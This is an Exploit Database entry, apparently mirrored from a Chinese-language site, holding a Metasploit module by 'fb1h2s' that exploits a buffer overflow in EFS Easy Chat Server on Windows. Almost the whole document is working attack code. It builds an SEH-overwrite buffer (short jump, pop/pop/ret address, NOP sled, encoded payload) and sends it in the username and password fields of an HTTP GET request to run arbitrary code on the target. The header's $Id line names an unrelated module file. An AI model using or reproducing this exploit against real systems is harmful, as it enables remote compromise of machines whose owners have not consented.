EFS Easy Chat Server – Universal Buffer Overflow (SEH) (Metasploit)

• Exploit Database
• 12 阅读

• 作者： fb1h2s
  日期： 2010-01-21
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/11210/

• ##
  # $Id: ca_igateway_debug.rb 6568 2009-05-19 13:20:32Z hdm $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  
  class Metasploit3 < Msf::Exploit::Remote
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'EFS Easy Chat server Universal BOF-SEH (META)',
  			'Description'=> %q{
  				This module exploits a vulnerability in Easy chat server by passing
  				an arbitary evil biuffer along with the username password.
  				Sucessful attack could run arbitary code on victim machine
  			},
  			'Author' => 'FB1H2S',
  			'License'=> MSF_LICENSE,
  			'Version'=> '',
  			'References' =>
  				[
  					[ 'Exploitdb', 'http://www.exploit-db.com/exploits/11179' ],
  					
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1200,
  					'BadChars' => "\x00\x0a\x0d\x20",
  					'StackAdjustment' => -3500,
  					'Compat' => 
  					{
  						'ConnectionType' => '+ws2ord',
  					},
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'EFS Easy Chat Server Universal', { 'Ret' => 0x1001b9a2 } ], # p/p/r 
  				],
  			'Privileged' => true,
  			'DisclosureDate' => 'jan 2010',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				Opt::RPORT(80),
  			], self.class)
  	end
  
  		
  
  		def exploit
  			connect
  			sploit = Rex::Text.rand_text_alphanumeric(216)
  		sploit << "\xeb\x06\x90\x90"# short jump 6 bytes
  			sploit << [target.ret].pack('V')#ppr universal
  			sploit << "\x90" * 20# nop sled
  			sploit << payload.encoded#payload \xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc
  			sploit << "\x90" * 20
  			request= 'chat.ghp?username=' +sploit+ '&password=' +sploit+ '&room=1&sex=2'
  			send = "GET /" + request + " HTTP/1.0"
  			sock.put(send + "\r\n\r\n\r\n")
  			disconnect
  			handler
  		end
  	end